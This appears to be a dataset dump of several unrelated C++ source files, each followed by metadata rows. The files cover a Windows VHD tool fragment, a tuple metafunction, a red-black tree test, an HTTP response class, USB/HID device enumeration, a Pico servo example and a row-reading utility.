cout << arguments.getType() << " file \"" << path << "\" detached!" << endl;
break;
}
default:
break;
}
}
void DoActionOnFiles(const string path, Operation operation, ProgramOptions arguments) {
HANDLE handleFind;
WIN32_FIND_DATAW findData;
wstring pathW = toWChar(path);
handleFind = FindFirstFileW(pathW.c_str(), &findData);
pathW.clear();
if (handleFind == INVALID_HANDLE_VALUE) {
cout << "Could not find file/s!" << endl;
PrintError(GetLastError());
return;
}
const string parentDirectory = GetFilePath(path);
do {
if ((findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) != 0) {
continue;
}
const string fileName = fromWChar(findData.cFileName);
const string fileType = GetFileType(fileName);
if (fileType != FILETYPE_UNDEFINED || arguments.getTryAllFiles()) {
const string newPath = ConcatPath(parentDirectory, fileName);
if (newPath.empty()) {
cout << "Path \"" << parentDirectory << "\" is too long to mount file \"" << fileName << "\"!" << endl;
continue;
}
FileOptions fileOptions(arguments.getFileOptions());
fileOptions.setType(fileType);
DoActionOnSingleFile(newPath, operation, fileOptions);
}
} while (FindNextFileW(handleFind, &findData) != 0);
FindClose(handleFind);
}
void DoActionOnDirectory(const string path, Operation operation, ProgramOptions arguments) {
HANDLE handleFind;
WIN32_FIND_DATAW findData;
const string searchString = ConcatPath(path, "*");
if (searchString.empty()) {
cout << "Path \"" << path << "\" is too long to search for files!" << endl;
return;
}
wstring searchStringW = toWChar(searchString);
handleFind = FindFirstFileW(searchStringW.c_str(), &findData);
searchStringW.clear();
if (handleFind == INVALID_HANDLE_VALUE) {
cout << "Could not list directory contents / no files!" << endl;
PrintError(GetLastError());
return;
}
do {
const string fileName = fromWChar(wstring(findData.cFileName));
if ((findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) != 0) {
if (arguments.getRecursive()) {
if (fileName == "." || fileName == "..") {
continue;
}
const string newPath = ConcatPath(path, fileName);
if (newPath.empty()) {
cout << "Path \"" << fileName << "\" is too long to search for files!" << endl;
continue;
}
DoActionOnDirectory(newPath, operation, arguments);
}
continue;
}
const string fileType = GetFileType(fileName);
if (fileType != FILETYPE_UNDEFINED || arguments.getTryAllFiles()) {
const string newPath = ConcatPath(path, fileName);
if (newPath.empty()) {
cout << "Path \"" << path << "\" is too long to mount file!";
continue;
}
FileOptions fileOptions(arguments.getFileOptions());
fileOptions.setType(fileType);
DoActionOnSingleFile(newPath, operation, fileOptions);
}
} while (FindNextFileW(handleFind, &findData) != 0);
FindClose(handleFind);
}
string StripLeadingDashes(const string argument) {
// Starts with --
if (argument.find("--") == 0) {
return argument.substr(2);
}
// Starts with -
if (argument.find("-") == 0) {
return argument.substr(1);
}
return argument;
}
};
int main(const int argc, const char* argv[]) {
vector<string> parsedParams = vector<string>();
for (int arg = 0; arg < argc; arg++) {
parsedParams.push_back(string(argv[arg]));
}
return VHDTool::Run(parsedParams);
}
| 29.584848 | 118 | 0.667315 | TobiOnline |
8605112d9c5f9bf78d3e1656a8e9847225ef665f | 637 | hpp | C++ | nd-coursework/books/cpp/C++Templates/tuples/pushfront.hpp | crdrisko/nd-grad | f1765e4f24d7a4b1b3a76c64eb8d88bcca0eaa44 | [
"MIT"
] | 1 | 2020-09-26T12:38:55.000Z | 2020-09-26T12:38:55.000Z | nd-coursework/books/cpp/C++Templates/tuples/pushfront.hpp | crdrisko/nd-research | f1765e4f24d7a4b1b3a76c64eb8d88bcca0eaa44 | [
"MIT"
] | null | null | null | nd-coursework/books/cpp/C++Templates/tuples/pushfront.hpp | crdrisko/nd-research | f1765e4f24d7a4b1b3a76c64eb8d88bcca0eaa44 | [
"MIT"
] | null | null | null | // Copyright (c) 2017 by Addison-Wesley, David Vandevoorde, Nicolai M. Josuttis, and Douglas Gregor. All rights reserved.
// See the LICENSE file in the project root for more information.
//
// Name: pushfront.hpp
// Author: crdrisko
// Date: 11/07/2020-08:04:37
// Description: A metafunction for inserting a new element at the front of a tuple
#ifndef PUSHFRONT_HPP
#define PUSHFRONT_HPP
#include "tuple.hpp"
#include "tupletypelist.hpp"
template<typename... Types, typename V>
PushFront<Tuple<Types...>, V> pushFront(Tuple<Types...> const& tuple, V const& value)
{
return PushFront<Tuple<Types...>, V>(value, tuple);
}
#endif
| 28.954545 | 121 | 0.729984 | crdrisko |
860579df77a8ddeba188ba4f6e1f3f682a9fb011 | 309 | cpp | C++ | Week5/RedBlackBST/main.cpp | andrewlavaia/Algorithms-Sedgewick-Princeton- | 856ac0deac6c3c8cec8eb99022692442397f77f9 | [
"MIT"
] | 1 | 2021-09-18T08:21:10.000Z | 2021-09-18T08:21:10.000Z | Week5/RedBlackBST/main.cpp | andrewlavaia/Algorithms-Sedgewick-Princeton | 856ac0deac6c3c8cec8eb99022692442397f77f9 | [
"MIT"
] | null | null | null | Week5/RedBlackBST/main.cpp | andrewlavaia/Algorithms-Sedgewick-Princeton | 856ac0deac6c3c8cec8eb99022692442397f77f9 | [
"MIT"
] | null | null | null | #include <iostream>
#include <cassert>
#include "node.h"
#include "redblackbst.h"
int main() {
RedBlackBST bst;
bst.put("f", 4);
assert(bst.get("f") == 4);
bst.put("d", 2);
bst.put("z", 5);
bst.put("r", 6);
assert(bst.get("d") == 2);
int n = 1;
while (n != 0) {
std::cin >> n;
}
return 0;
} | 12.875 | 27 | 0.540453 | andrewlavaia |
860754f2a0285a3740195c1a3356b69a98973e17 | 3,353 | cpp | C++ | src/stalk_response.cpp | pykel/stalk | a51a0f4b9c005c058bcc4bce237aeb6c105b2c78 | [
"BSL-1.0"
] | null | null | null | src/stalk_response.cpp | pykel/stalk | a51a0f4b9c005c058bcc4bce237aeb6c105b2c78 | [
"BSL-1.0"
] | null | null | null | src/stalk_response.cpp | pykel/stalk | a51a0f4b9c005c058bcc4bce237aeb6c105b2c78 | [
"BSL-1.0"
] | null | null | null | #include "stalk/stalk_response.h"
#include "stalk/stalk_request.h"
#include "stalk_request_impl.h"
#include "stalk_response_impl.h"
#include "stalk_field_convert.h"
namespace Stalk
{
Response::Response() :
impl(std::make_unique<ResponseImpl>())
{
}
Response::Response(const Request& request) :
impl(std::make_unique<ResponseImpl>(request.impl->request))
{
impl->response.keep_alive(request.impl->request.keep_alive());
}
Response::~Response() = default;
Response::Response(Response&& other) :
impl(std::move(other.impl))
{
}
Response::Response(const Response& other) :
impl(new ResponseImpl(*other.impl))
{
}
Response& Response::operator=(Response&& other)
{
impl = std::move(other.impl);
return *this;
}
Response& Response::operator=(const Response& other)
{
impl.reset(new ResponseImpl(*other.impl));
return *this;
}
Response Response::build(const Request& req, Status status, const std::string& contentType, const std::string& body)
{
return Response(req)
.status(status)
.set(Field::content_type, contentType)
.body(body);
}
Response Response::build(const Request& req, Status status, std::string&& contentType, std::string&& body)
{
return Response(req)
.status(status)
.set(Field::content_type, contentType)
.body(body);
}
Response Response::build(const Request& req, Status status)
{
return Response(req).status(status);
}
Response& Response::set(Field name, const std::string& value)
{
impl->response.set(fieldToBeast(name), value);
return *this;
}
Response& Response::set(Field name, std::string&& value)
{
impl->response.set(fieldToBeast(name), std::move(value));
return *this;
}
Response& Response::set(std::string_view name, const std::string& value)
{
impl->response.set(boost::string_view(name.data(), name.size()), value);
return *this;
}
Response& Response::set(std::string_view name, std::string&& value)
{
impl->response.set(boost::string_view(name.data(), name.size()), std::move(value));
return *this;
}
std::string Response::get(Field name)
{
auto sv = impl->response.base()[fieldToBeast(name)];
return std::string(sv.data(), sv.data() + sv.size());
}
Status Response::status() const
{
return static_cast<Status>(impl->response.result());
}
Response& Response::status(unsigned s)
{
impl->response.result(static_cast<boost::beast::http::status>(s));
return *this;
}
Response& Response::status(Status s)
{
impl->response.result(static_cast<boost::beast::http::status>(s));
return *this;
}
bool Response::keepAlive() const
{
return impl->response.keep_alive();
}
Response& Response::keepAlive(bool v)
{
impl->response.keep_alive(v);
return *this;
}
const std::string& Response::body() const
{
return impl->response.body();
}
std::string& Response::body()
{
return impl->response.body();
}
Response& Response::body(std::string&& b)
{
impl->response.body() = std::move(b);
impl->response.prepare_payload();
return *this;
}
Response& Response::body(const std::string& b)
{
impl->response.body() = b;
impl->response.prepare_payload();
return *this;
}
std::ostream& operator<<(std::ostream& os, const Response& resp)
{
os << resp.impl->response;
return os;
}
} // namespace Stalk
| 21.49359 | 116 | 0.670743 | pykel |
860cb17f14690d05dacf4cb536bb48b002f6a0c2 | 1,642 | cpp | C++ | examples/breakout_ioexpander/servo/servo.cpp | sstobbe/pimoroni-pico | c7ec56d278ee4f3679cd367dad225d44808e24cf | [
"MIT"
] | 425 | 2021-01-21T10:20:27.000Z | 2022-03-30T13:07:35.000Z | examples/breakout_ioexpander/servo/servo.cpp | sstobbe/pimoroni-pico | c7ec56d278ee4f3679cd367dad225d44808e24cf | [
"MIT"
] | 220 | 2021-01-22T11:27:57.000Z | 2022-03-31T23:07:58.000Z | examples/breakout_ioexpander/servo/servo.cpp | sstobbe/pimoroni-pico | c7ec56d278ee4f3679cd367dad225d44808e24cf | [
"MIT"
] | 174 | 2021-01-22T22:41:00.000Z | 2022-03-28T13:09:32.000Z | #include "pico/stdlib.h"
#include <stdio.h>
#include <math.h>
#include "breakout_ioexpander.hpp"
using namespace pimoroni;
static const uint8_t IOE_SERVO_PIN = 1;
// Settings to produce a 50Hz output from the 24MHz clock.
// 24,000,000 Hz / 8 = 3,000,000 Hz
// 3,000,000 Hz / 60,000 Period = 50 Hz
static const uint8_t DIVIDER = 8;
static const uint16_t PERIOD = 60000;
static constexpr float CYCLE_TIME = 5.0f;
static constexpr float SERVO_RANGE = 1000.0f; // Between 1000 and 2000us (1-2ms)
BreakoutIOExpander ioe(0x18);
bool toggle = false;
int main() {
gpio_init(PICO_DEFAULT_LED_PIN);
gpio_set_dir(PICO_DEFAULT_LED_PIN, GPIO_OUT);
stdio_init_all();
if(ioe.init()) {
printf("IOExpander found...\n");
ioe.set_pwm_period(PERIOD);
ioe.set_pwm_control(DIVIDER);
ioe.set_mode(IOE_SERVO_PIN, IOExpander::PIN_PWM);
while(true) {
gpio_put(PICO_DEFAULT_LED_PIN, toggle);
toggle = !toggle;
absolute_time_t at = get_absolute_time();
float t = to_us_since_boot(at) / 1000000.0f;
float s = sinf((t * M_PI * 2.0f) / CYCLE_TIME) / 2.0f;
float servo_us = 1500.0f + (s * SERVO_RANGE);
float duty_per_microsecond = (float)PERIOD / (float)(20 * 1000); // Default is 3 LSB per microsecond
uint16_t duty_cycle = (uint16_t)(roundf(servo_us * duty_per_microsecond));
printf("Cycle Time: %.2f, Pulse: %.1fus, Duty Cycle: %d\n", fmodf(t, CYCLE_TIME), servo_us, duty_cycle);
ioe.output(IOE_SERVO_PIN, duty_cycle);
sleep_ms(20);
}
}
else {
printf("IOExpander not found :'(\n");
gpio_put(PICO_DEFAULT_LED_PIN, true);
}
return 0;
}
| 26.918033 | 110 | 0.678441 | sstobbe |
8615c18788c5a73c020e7170a20acdce2eccdc89 | 13,633 | cpp | C++ | Source/AllProjects/CIDKernel/Win32/CIDKernel_USB_Win32.cpp | MarkStega/CIDLib | 82014e064eef51cad998bf2c694ed9c1c8cceac6 | [
"MIT"
] | 216 | 2019-03-09T06:41:28.000Z | 2022-02-25T16:27:19.000Z | Source/AllProjects/CIDKernel/Win32/CIDKernel_USB_Win32.cpp | MarkStega/CIDLib | 82014e064eef51cad998bf2c694ed9c1c8cceac6 | [
"MIT"
] | 9 | 2020-09-27T08:00:52.000Z | 2021-07-02T14:27:31.000Z | Source/AllProjects/CIDKernel/Win32/CIDKernel_USB_Win32.cpp | MarkStega/CIDLib | 82014e064eef51cad998bf2c694ed9c1c8cceac6 | [
"MIT"
] | 29 | 2019-03-09T10:12:24.000Z | 2021-03-03T22:25:29.000Z | //
// FILE NAME: CIDKernel_USB_Win32.Cpp
//
// AUTHOR: Dean Roddey
//
// CREATED: 02/08/2004
//
// COPYRIGHT: Charmed Quark Systems, Ltd @ 2019
//
// This software is copyrighted by 'Charmed Quark Systems, Ltd' and
// the author (Dean Roddey.) It is licensed under the MIT Open Source
// license:
//
// https://opensource.org/licenses/MIT
//
// DESCRIPTION:
//
// This file provides some core support for interacting with USB and HID
// devices.
//
//
// CAVEATS/GOTCHAS:
//
// LOG:
//
// $_CIDLib_Log_$
//
// ---------------------------------------------------------------------------
// Includes
// ---------------------------------------------------------------------------
#include "CIDKernel_.hpp"
#pragma warning(push)
#include <CodeAnalysis\Warnings.h>
#pragma warning(disable : ALL_CODE_ANALYSIS_WARNINGS 26812)
#include <setupapi.h>
#pragma warning(pop)
//
// Some stuff we define ourself, because otherwise we'd have to bring in a
// whole raft of device driver kit stuff.
//
extern "C"
{
#pragma CIDLIB_PACK(4)
typedef struct _HIDP_PREPARSED_DATA * PHIDP_PREPARSED_DATA;
typedef struct _HIDP_CAPS
{
USHORT Usage;
USHORT UsagePage;
USHORT InputReportByteLength;
USHORT OutputReportByteLength;
USHORT FeatureReportByteLength;
USHORT Reserved[17];
USHORT NumberLinkCollectionNodes;
USHORT NumberInputButtonCaps;
USHORT NumberInputValueCaps;
USHORT NumberInputDataIndices;
USHORT NumberOutputButtonCaps;
USHORT NumberOutputValueCaps;
USHORT NumberOutputDataIndices;
USHORT NumberFeatureButtonCaps;
USHORT NumberFeatureValueCaps;
USHORT NumberFeatureDataIndices;
} HIDP_CAPS, *PHIDP_CAPS;
typedef struct _HIDD_ATTRIBUTES
{
ULONG Size;
USHORT VendorID;
USHORT ProductID;
USHORT VersionNumber;
} HIDD_ATTRIBUTES, *PHIDD_ATTRIBUTES;
#pragma CIDLIB_POPPACK
//
// Some APIs we will call. We don't have the header, so we have to
// provide the signatures ourself.
//
extern BOOLEAN __stdcall HidD_GetAttributes
(
HANDLE HidDeviceObject
, PHIDD_ATTRIBUTES Attributes
);
extern void __stdcall HidD_GetHidGuid(struct _GUID *);
extern BOOLEAN __stdcall HidD_GetPreparsedData
(
HANDLE HidDeviceObject
, PHIDP_PREPARSED_DATA* PreparsedData
);
extern void __stdcall HidP_GetCaps
(
PHIDP_PREPARSED_DATA PreparsedData
, HIDP_CAPS* Capabilities
);
}
// ---------------------------------------------------------------------------
// Local helpers
// ---------------------------------------------------------------------------
static tCIDLib::TBoolean
bStringToGUID(const tCIDLib::TCh* const pszText, GUID& guidToFill)
{
//
// Create the GUIID from the text version. The format of the id string
// must be:
//
// {XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}
//
// where X is a hex digit. The first is an long value (4 2 digit values),
// then three shorts (2 2 digit values), then 2 and 6 individual bytes
// (8 2 digit values.) The braces are optional, so it must be either 36 or
// 38 characters.
//
const tCIDLib::TCard4 c4Len = TRawStr::c4StrLen(pszText);
if ((c4Len != 36) && (c4Len != 38))
return kCIDLib::False;
//
// Make a copy of the string that we can mangle, and get rid of the
// braces.
//
tCIDLib::TCh* pszGUID = TRawStr::pszReplicate(pszText);
TArrayJanitor<tCIDLib::TCh> janGUID(pszGUID);
if (c4Len == 38)
{
*(pszGUID + 37) = kCIDLib::chNull;
pszGUID++;
}
// There must be a dash at 8, 13, 18, and 23
if ((pszGUID[8] != kCIDLib::chHyphenMinus)
|| (pszGUID[13] != kCIDLib::chHyphenMinus)
|| (pszGUID[18] != kCIDLib::chHyphenMinus)
|| (pszGUID[23] != kCIDLib::chHyphenMinus))
{
return kCIDLib::False;
}
// Make it more convenient for us by upper casing it
TRawStr::pszUpperCase(pszGUID);
// Ok, put nulls in those places to create separate strings
pszGUID[8] = kCIDLib::chNull;
pszGUID[13] = kCIDLib::chNull;
pszGUID[18] = kCIDLib::chNull;
pszGUID[23] = kCIDLib::chNull;
// Ok, fill in the GUID now, by converting the strings to binary
tCIDLib::TBoolean bOk;
tCIDLib::TCard4 c4Tmp;
guidToFill.Data1 = TRawStr::c4AsBinary(pszGUID, bOk, tCIDLib::ERadices::Hex);
if (!bOk)
return kCIDLib::False;
pszGUID += 9;
c4Tmp = TRawStr::c4AsBinary(pszGUID, bOk, tCIDLib::ERadices::Hex);
if (!bOk)
return kCIDLib::False;
guidToFill.Data2 = tCIDLib::TCard2(c4Tmp);
pszGUID += 5;
c4Tmp = TRawStr::c4AsBinary(pszGUID, bOk, tCIDLib::ERadices::Hex);
if (!bOk)
return kCIDLib::False;
guidToFill.Data3 = tCIDLib::TCard2(c4Tmp);
//
// The next one gets stored as two bytes but for convenience we convert
// it as a short.
//
pszGUID += 5;
c4Tmp = TRawStr::c4AsBinary(pszGUID, bOk, tCIDLib::ERadices::Hex);
if (!bOk)
return kCIDLib::False;
guidToFill.Data4[0] = tCIDLib::TCard1(c4Tmp >> 8);
guidToFill.Data4[1] = tCIDLib::TCard1(c4Tmp & 0xFF);
//
// And now we have 6 2 digit bytes left to fill in the last 6 bytes
// of Data4. There are no separators, so it's a little more of a pain
// than it would be otherwise.
//
pszGUID += 5;
for (tCIDLib::TCard4 c4Index = 0; c4Index < 6; c4Index++)
{
const tCIDLib::TCh ch1(*pszGUID++);
const tCIDLib::TCh ch2(*pszGUID++);
if (!TRawStr::bIsHexDigit(ch1) || !TRawStr::bIsHexDigit(ch2))
return kCIDLib::False;
tCIDLib::TCard1 c1Val;
if ((ch1 >= kCIDLib::chDigit0) && (ch1 <= kCIDLib::chDigit9))
c1Val = tCIDLib::TCard1(ch1 - kCIDLib::chDigit0);
else
c1Val = tCIDLib::TCard1(10 + (ch1 - kCIDLib::chLatin_A));
c1Val <<= 4;
if ((ch2 >= kCIDLib::chDigit0) && (ch2 <= kCIDLib::chDigit9))
c1Val |= tCIDLib::TCard1(ch2 - kCIDLib::chDigit0);
else
c1Val |= tCIDLib::TCard1(10 + (ch2 - kCIDLib::chLatin_A));
guidToFill.Data4[2 + c4Index] = c1Val;
}
return kCIDLib::True;
}
// ---------------------------------------------------------------------------
// USBDev namespace methods
// ---------------------------------------------------------------------------
tCIDLib::TBoolean
TKrnlUSBDev::bCheckForDevice(const tCIDLib::TCh* const pszDevId
, const tCIDLib::TCard2 c2VendorId
, const tCIDLib::TCard2 c2ProductId
, tCIDLib::TBoolean& bFound)
{
// Assume worst case
bFound = kCIDLib::False;
// Set up the data structures we'll need for this
SP_DEVICE_INTERFACE_DATA IntfInfo = {0};
IntfInfo.cbSize = sizeof(IntfInfo);
HIDD_ATTRIBUTES Attrs = {0};
Attrs.Size = sizeof(Attrs);
//
// Try to convert the string id to a GUID that we'll need in order to
// search for devices of that type. If bad, return false now.
//
GUID guidDev;
if (!bStringToGUID(pszDevId, guidDev))
return kCIDLib::False;
// And get the enumerator handle, only for devices actually present
HDEVINFO hDevList = ::SetupDiGetClassDevs
(
&guidDev, 0, 0, DIGCF_INTERFACEDEVICE | DIGCF_PRESENT
);
if (!hDevList)
{
TKrnlError::SetLastHostError(::GetLastError());
return kCIDLib::False;
}
// Now loop through the devices till we find our guy, or fail
tCIDLib::TCard4 c4Index = 0;
bFound = kCIDLib::False;
HANDLE hDevFl;
while (1)
{
//
// Break out when done. It could be an error as well, but we don't
// distinguish.
//
if (!::SetupDiEnumDeviceInterfaces(hDevList, 0, &guidDev, c4Index++, &IntfInfo))
break;
// Allocate the buffer for this one
tCIDLib::TCard4 c4DetailSz = 0;
tCIDLib::TCard1* pc1Buf = 0;
::SetupDiGetDeviceInterfaceDetail
(
hDevList, &IntfInfo, 0, 0, &c4DetailSz, 0
);
if (!c4DetailSz)
continue;
// Point the details stucture pointer at it and set the size info
hDevFl = 0;
{
pc1Buf = new tCIDLib::TCard1[c4DetailSz];
SP_DEVICE_INTERFACE_DETAIL_DATA* pDetails
(
(SP_DEVICE_INTERFACE_DETAIL_DATA*)pc1Buf
);
pDetails->cbSize = sizeof(SP_DEVICE_INTERFACE_DETAIL_DATA);
TArrayJanitor<tCIDLib::TCard1> janBuf(pc1Buf);
//
// Get the interface details, which gets us a path that we can
// use to get the device attributes.
//
::SetupDiGetDeviceInterfaceDetail
(
hDevList, &IntfInfo, pDetails, c4DetailSz, 0, 0
);
// Temporarly open this device
hDevFl = ::CreateFile
(
pDetails->DevicePath
, GENERIC_READ
, FILE_SHARE_READ | FILE_SHARE_WRITE
, 0
, OPEN_EXISTING
, 0
, 0
);
}
// Get the attrs. If it's our guy, break out
::HidD_GetAttributes(hDevFl, &Attrs);
// And close it now that we have the info
::CloseHandle(hDevFl);
if ((Attrs.VendorID == c2VendorId)
&& (Attrs.ProductID == c2ProductId))
{
bFound = kCIDLib::True;
break;
}
}
// And now we can dump the device list enumerator
::SetupDiDestroyDeviceInfoList(hDevList);
return kCIDLib::True;
}
tCIDLib::TBoolean
TKrnlUSBDev::bFindHIDDev(const tCIDLib::TCard2 c2VendorId
, const tCIDLib::TCard2 c2ProductId
, tCIDLib::TCh* const pszToFill
, const tCIDLib::TCard4 c4MaxChars
, tCIDLib::TBoolean& bFound)
{
// Set up the data structures we'll need for this
SP_DEVICE_INTERFACE_DATA IntfInfo = {0};
IntfInfo.cbSize = sizeof(IntfInfo);
HIDD_ATTRIBUTES Attrs = {0};
Attrs.Size = sizeof(Attrs);
//
// Get the GUID for HID devices that we need to iterate the devices
// available.
//
GUID guidHID;
::HidD_GetHidGuid(&guidHID);
// And get the enumerator handle, only for devices actually present
HDEVINFO hDevList = ::SetupDiGetClassDevs
(
&guidHID
, 0
, 0
, DIGCF_INTERFACEDEVICE | DIGCF_PRESENT
);
if (!hDevList)
{
TKrnlError::SetLastHostError(::GetLastError());
return kCIDLib::False;
}
// Now loop through the devices till we find our guy, or fail
tCIDLib::TCard4 c4Index = 0;
bFound = kCIDLib::False;
HANDLE hDevFl;
while (1)
{
//
// Break out when done. It could be an error as well, but we don't
// distinguish.
//
if (!::SetupDiEnumDeviceInterfaces(hDevList, 0, &guidHID, c4Index++, &IntfInfo))
break;
// Allocate the buffer for this one
tCIDLib::TCard4 c4DetailSz = 0;
tCIDLib::TCard1* pc1Buf = 0;
::SetupDiGetDeviceInterfaceDetail
(
hDevList, &IntfInfo, 0, 0, &c4DetailSz, 0
);
if (!c4DetailSz)
continue;
// Point the details stucture pointer at it and set the size info
{
pc1Buf = new tCIDLib::TCard1[c4DetailSz];
SP_DEVICE_INTERFACE_DETAIL_DATA* pDetails
(
(SP_DEVICE_INTERFACE_DETAIL_DATA*)pc1Buf
);
pDetails->cbSize = sizeof(SP_DEVICE_INTERFACE_DETAIL_DATA);
TArrayJanitor<tCIDLib::TCard1> janBuf(pc1Buf);
//
// Get the interface details, which gets us a path that we can use
// to get the device attributes.
//
::SetupDiGetDeviceInterfaceDetail
(
hDevList, &IntfInfo, pDetails, c4DetailSz, 0, 0
);
// Temporarly open this device
hDevFl = ::CreateFile
(
pDetails->DevicePath
, GENERIC_READ
, FILE_SHARE_READ | FILE_SHARE_WRITE
, 0
, OPEN_EXISTING
, 0
, 0
);
// Get the attrs. If it's our guy, break out
::HidD_GetAttributes(hDevFl, &Attrs);
// And close it now that we have the info
::CloseHandle(hDevFl);
if ((Attrs.VendorID == c2VendorId)
&& (Attrs.ProductID == c2ProductId))
{
// Copy the device name back if we can, else it's an error
if (TRawStr::c4StrLen(pDetails->DevicePath) > c4MaxChars)
{
TKrnlError::SetLastError(kKrnlErrs::errcData_InsufficientBuffer);
return kCIDLib::False;
}
// We can handle it, so store it and clean up the buffer
TRawStr::CopyStr(pszToFill, pDetails->DevicePath, c4MaxChars);
bFound = kCIDLib::True;
break;
}
}
}
// And now we can dump the device list enumerator
::SetupDiDestroyDeviceInfoList(hDevList);
return kCIDLib::True;
}
| 29.508658 | 88 | 0.561579 | MarkStega |
861860e17b8af61d1b88fe742ed7868aa8915591 | 3,079 | hpp | C++ | include/audio/mapping/AudioToneSweepMapping.hpp | Tyulis/ToyGB | 841507fa19c320caa98b16eae2a6df0bc996ba51 | [
"MIT"
] | null | null | null | include/audio/mapping/AudioToneSweepMapping.hpp | Tyulis/ToyGB | 841507fa19c320caa98b16eae2a6df0bc996ba51 | [
"MIT"
] | null | null | null | include/audio/mapping/AudioToneSweepMapping.hpp | Tyulis/ToyGB | 841507fa19c320caa98b16eae2a6df0bc996ba51 | [
"MIT"
] | null | null | null | #ifndef _AUDIO_MAPPING_AUDIOTONESWEEPMAPPING_HPP
#define _AUDIO_MAPPING_AUDIOTONESWEEPMAPPING_HPP
#include "audio/timing.hpp"
#include "audio/mapping/AudioChannelMapping.hpp"
#include "audio/mapping/AudioControlMapping.hpp"
#include "core/hardware.hpp"
#include "memory/Constants.hpp"
#include "util/error.hpp"
namespace toygb {
/** Tone (square wave) channel with frequency sweep memory mapping and operation (channel 2) */
class AudioToneSweepMapping : public AudioChannelMapping {
public:
AudioToneSweepMapping(int channel, AudioControlMapping* control, AudioDebugMapping* debug, HardwareStatus* hardware);
uint8_t get(uint16_t address);
void set(uint16_t address, uint8_t value);
// NR10 : Frequency sweep control
uint8_t sweepPeriod; // Number of sweep frames between every sweep update (0-7) (register NR10, bits 4-6)
bool sweepDirection; // Frequency sweep direction (0 = increase frequency, 1 = decrease) (register NR10, bit 3)
uint8_t sweepShift; // Frequency sweep shift (0-7) (register NR10, bits 0-2)
// NR11 : Sound pattern and length control
uint8_t wavePatternDuty; // Select the wave pattern duty (0-3) (register NR11, bits 6-7)
uint8_t length; // Sound length counter (0-64) (register NR11, bits 0-5)
// NR12 : Volume envelope control
uint8_t initialEnvelopeVolume; // Initial envelope volume value (0-15) (register NR12, bits 4-7)
bool envelopeDirection; // Envelope direction (0 = decrease volume, 1 = increase)
uint8_t envelopePeriod; // Envelope period (envelope volume is recalculated every `envelopePeriod` frames, 0 disables envelope) (register NR12, bits 0-2)
// NR13 + NR14.0-2 : Sound frequency control
uint16_t frequency; // The channel state is updated every 2*(2048 - `frequency`)
// NR14 : Channel control
bool enableLength; // Enables length counter operation (1 = enable, channel stops when length counter reaches zero, 0 = disable) (register NR14, bit 6)
protected:
void reset(); // Called when a channel restart is requested via NR14.7
uint16_t calculateFrequencySweep(); // Perform a sweep frequency calculation and overflow check
// AudioChannelMapping overrides
float buildSample();
void onPowerOn();
void onPowerOff();
void onUpdate();
void onLengthFrame();
void onSweepFrame();
void onEnvelopeFrame();
int m_envelopeVolume; // Current volume envelope value
uint16_t m_sweepFrequency; // Current sound frequency, with sweep
int m_dutyPointer; // Current position in the wave duty
int m_baseTimerCounter; // Counts cycles for the recalculation period
int m_envelopeFrameCounter; // Counts envelope frames for the envelope update period
int m_sweepFrameCounter; // Counts sweep frames for the sweep update period
bool m_sweepEnabled; // Internal sweep enable frag
bool m_sweepNegateCalculated; // Whether a sweep calculation in negate (decreasing frequency) mode has already been calculated since the last channel restart
};
}
#endif
| 45.955224 | 164 | 0.733355 | Tyulis |
861dd403d17dffa7ec09edea3f099cda24d0bee7 | 3,293 | hpp | C++ | include/paal/utils/read_rows.hpp | Kommeren/AA | e537b58d50e93d4a72709821b9ea413008970c6b | [
"BSL-1.0"
] | null | null | null | include/paal/utils/read_rows.hpp | Kommeren/AA | e537b58d50e93d4a72709821b9ea413008970c6b | [
"BSL-1.0"
] | null | null | null | include/paal/utils/read_rows.hpp | Kommeren/AA | e537b58d50e93d4a72709821b9ea413008970c6b | [
"BSL-1.0"
] | 1 | 2021-02-24T06:23:56.000Z | 2021-02-24T06:23:56.000Z | //=======================================================================
// Copyright (c) 2015
//
// Distributed under the Boost Software License, Version 1.0. (See
// accompanying file LICENSE_1_0.txt or copy at
// http://www.boost.org/LICENSE_1_0.txt)
//=======================================================================
/**
* @file read_rows.hpp
* @brief
* @author Tomasz Strozak
* @version 1.0
* @date 2015-07-23
*/
#ifndef PAAL_READ_ROWS_HPP
#define PAAL_READ_ROWS_HPP
#include "paal/utils/functors.hpp"
#include "paal/utils/system_message.hpp"
#include <boost/range/size.hpp>
#include <boost/range/algorithm/copy.hpp>
#include <boost/range/istream_range.hpp>
#include <cassert>
#include <istream>
#include <string>
#include <sstream>
#include <vector>
#include <list>
namespace paal {
/**
* @brief reads up to max_rows_to_read rows of size row_size
*
* @tparam RowType
* @tparam ShouldIgnoreBadRow
* @param input_stream
* @param rows
* @param row_size
* @param max_rows_to_read
* @param should_ignore_bad_row
*/
template <typename CoordinateType,
typename RowType = std::vector<CoordinateType>,
typename ShouldIgnoreBadRow = utils::always_true>
void read_rows(std::istream &input_stream,
std::vector<RowType> &rows,
std::size_t row_size,
std::size_t max_rows_to_read,
ShouldIgnoreBadRow &&should_ignore_bad_row = ShouldIgnoreBadRow{}) {
std::string line;
RowType row;
row.reserve(row_size);
while ((max_rows_to_read--) && std::getline(input_stream, line)) {
row.clear();
std::stringstream row_stream(line);
boost::copy(boost::istream_range<CoordinateType>(row_stream), std::back_inserter(row));
if((!row_stream.bad() && row_size == boost::size(row)) || !should_ignore_bad_row(line)) {
rows.emplace_back(row);
}
}
}
/**
* @brief reads up to max_rows_to_read rows, size is determine by first row
*
* @tparam CoordinateType
* @tparam RowType
* @tparam ShouldIgnoreBadRow
* @tparam FailureMessage
* @param input_stream
* @param rows
* @param max_rows_to_read
* @param should_ignore_bad_row
* @param failure_message
*/
template <typename CoordinateType,
typename RowType = std::vector<CoordinateType>,
typename ShouldIgnoreBadRow = utils::always_true,
typename FailureMessage = utils::failure_message>
void read_rows_first_row_size(std::istream &input_stream,
std::vector<RowType> &rows,
std::size_t max_rows_to_read,
ShouldIgnoreBadRow &&should_ignore_bad_row = ShouldIgnoreBadRow{},
FailureMessage &&failure_message = FailureMessage{}) {
if(!input_stream.good()) {
failure_message("Input stream is broken");
}
read_rows<CoordinateType>(input_stream, rows, 0, 1, utils::always_false{});
if(rows.empty()) {
failure_message("Empty input data");
}
std::size_t const row_size = boost::size(rows.front());
if(row_size <= 0) {
failure_message("Empty first row");
}
read_rows<CoordinateType>(input_stream, rows, row_size, max_rows_to_read - 1, std::forward<ShouldIgnoreBadRow>(should_ignore_bad_row));
}
} //! paal
#endif /* PAAL_READ_ROWS_HPP */
